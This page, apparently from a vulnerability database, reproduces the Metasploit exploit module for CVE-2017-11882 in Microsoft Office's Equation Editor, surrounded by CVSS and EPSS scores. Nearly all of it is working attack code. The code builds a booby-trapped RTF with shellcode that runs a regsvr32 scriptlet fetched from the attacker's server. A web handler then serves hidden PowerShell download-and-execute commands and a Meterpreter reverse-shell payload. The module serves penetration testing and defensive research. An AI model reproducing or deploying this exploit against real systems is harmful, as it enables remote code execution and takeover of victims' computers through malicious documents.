Lucene search

K
metasploitMumbai, embediMSF:EXPLOIT-WINDOWS-FILEFORMAT-OFFICE_MS17_11882-
HistoryNov 21, 2017 - 7:47 p.m.

Microsoft Office CVE-2017-11882

2017-11-2119:47:02
mumbai, embedi
www.rapid7.com
164

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.974 High

EPSS

Percentile

99.9%

Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT


  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Microsoft Office CVE-2017-11882',
      'Description' => %q{
        Module exploits a flaw in how the Equation Editor that
        allows an attacker to execute arbitrary code in RTF files without
        interaction. The vulnerability is caused by the Equation Editor,
        to which fails to properly handle OLE objects in memory.
      },
      'Author' => ['mumbai', 'embedi'],
      'License' => MSF_LICENSE,
      'DisclosureDate' => '2017-11-15',
      'References' => [
        ['CVE', '2017-11882'],
        ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
        ['URL', 'https://github.com/embedi/CVE-2017-11882']
      ],
      'Platform' => 'win',
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' => [
        ['Microsoft Office', {} ],
      ],
      'DefaultTarget' => 0,
      'Payload' => {
        'DisableNops' => true
      },
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'EXITFUNC' => 'thread',
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
      }
    ))

    register_options([
        OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
        OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
    ])
  end

  def retrieve_header(filename)
    if (not datastore['FOLDER_PATH'].nil?)
      path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
    else
      path = nil
    end
    if (not path.nil?)
      if ::File.file?(path)
        File.open(path, 'rb') do |fd|
          header = fd.read(fd.stat.size).split('{\*\datastore').first
          header = header.to_s # otherwise I get nil class...
          print_status("Injecting #{path}...")
          return header
        end
      else
        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
      end
    else
      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
    end
    return header
  end



  def generate_rtf
    header = retrieve_header(datastore['FILENAME'])
    object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
    object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
    object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
    object_class << '09000600000000000000000000000100000001000000000000000010000002000'
    object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
    object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
    object_class << '07400720079000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
    object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
    object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000003'
    object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
    object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
    object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
    object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << "00000300040000000000000000000000000000000000000000000000000000000"
    object_class << "000000000000000000000000000000000000000000000000000000000000000\n"


    shellcode = "\x1c\x00"                  #  0:   1c 00                   sbb    al,0x0
    shellcode << "\x00\x00"                 #  2:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x02\x00"                 #  4:   02 00                   add    al,BYTE PTR [eax]
    shellcode << "\x9e"                     #  6:   9e                      sahf
    shellcode << "\xc4\xa9\x00\x00\x00\x00" #  7:   c4 a9 00 00 00 00       les    ebp,FWORD PTR [ecx+0x0]
    shellcode << "\x00\x00"                 #  d:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\xc8"                 #  f:   00 c8                   add    al,cl
    shellcode << "\xa7"                     # 11:   a7                      cmps   DWORD PTR ds:[esi],DWORD PTR es:[edi]
    shellcode << "\\"                       # 12:   5c                      pop    esp
    shellcode << "\x00\xc4"                 # 13:   00 c4                   add    ah,al
    shellcode << "\xee"                     # 15:   ee                      out    dx,al
    shellcode << "["                        # 16:   5b                      pop    ebx
    shellcode << "\x00\x00"                 # 17:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x00"                 # 19:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x03"                 # 1b:   00 03                   add    BYTE PTR [ebx],al
    shellcode << "\x01\x01"                 # 1d:   01 01                   add    DWORD PTR [ecx],eax
    shellcode << "\x03\n"                   # 1f:   03 0a                   add    ecx,DWORD PTR [edx]
    shellcode << "\n\x01"                   # 21:   0a 01                   or     al,BYTE PTR [ecx]
    shellcode << "\x08ZZ"                   # 23:   08 5a 5a                or     BYTE PTR [edx+0x5a],bl
    shellcode << "\xB8\x44\xEB\x71\x12"     # 26:   b8 44 eb 71 12          mov    eax,0x1271eb44
    shellcode << "\xBA\x78\x56\x34\x12"     # 2b:   ba 78 56 34 12          mov    edx,0x12345678
    shellcode << "\x31\xD0"                 # 30:   31 d0                   xor    eax,edx
    shellcode << "\x8B\x08"                 # 32:   8b 08                   mov    ecx,DWORD PTR [eax]
    shellcode << "\x8B\x09"                 # 34:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x8B\x09"                 # 36:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x66\x83\xC1\x3C"         # 38:   66 83 c1 3c             add    cx,0x3c
    shellcode << "\x31\xDB"                 # 3c:   31 db                   xor    ebx,ebx
    shellcode << "\x53"                     # 3e:   53                      push   ebx
    shellcode << "\x51"                     # 3f:   51                      push   ecx
    shellcode << "\xBE\x64\x3E\x72\x12"     # 40:   be 64 3e 72 12          mov    esi,0x12723e64
    shellcode << "\x31\xD6"                 # 45:   31 d6                   xor    esi,edx
    shellcode << "\xFF\x16"                 # 47:   ff 16                   call   DWORD PTR [esi]
    shellcode << "\x53"                     # 49:   53                      push   ebx
    shellcode << "\x66\x83\xEE\x4C"         # 4a:   66 83 ee 4c             sub    si,0x4c
    shellcode << "\xFF\x10"                 # 4e:   ff 10                   call   DWORD PTR [eax]
    shellcode << "\x90"                     # 50:   90                      nop
    shellcode << "\x90"                     # 50:   90                      nop

    footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
    footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000400'
    footer << '0000C5000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
    footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000001050000050000000D0000004D45544146494C'
    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
    footer << '500000002001C0000000000050000000902000000000500000002'
    footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
    footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
    footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
    footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
    footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
    footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
    footer << '00030000000000' + "\n"
    footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
    footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
    footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
    footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
    footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
    footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
    footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
    footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
    footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
    footer << "00000000\n"
    footer << "}}}\n"
    footer << '\par}' + "\n"


    payload = shellcode
    payload += [0x00402114].pack("V")
    payload += "\x00" * 2
    payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
    payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
    payload = header + object_class + payload + footer
    payload
  end



  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def on_request_uri(cli, _request)
    if _request.raw_uri =~ /\.sct$/
      print_status("Handling request for .sct from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = gen_sct_file(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded,
                       payload_instance.arch.first,
                       remove_comspec: true,
                       exec_in_place: true
      )
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end


  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end


  def primer
    file_create(generate_rtf)
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.974 High

EPSS

Percentile

99.9%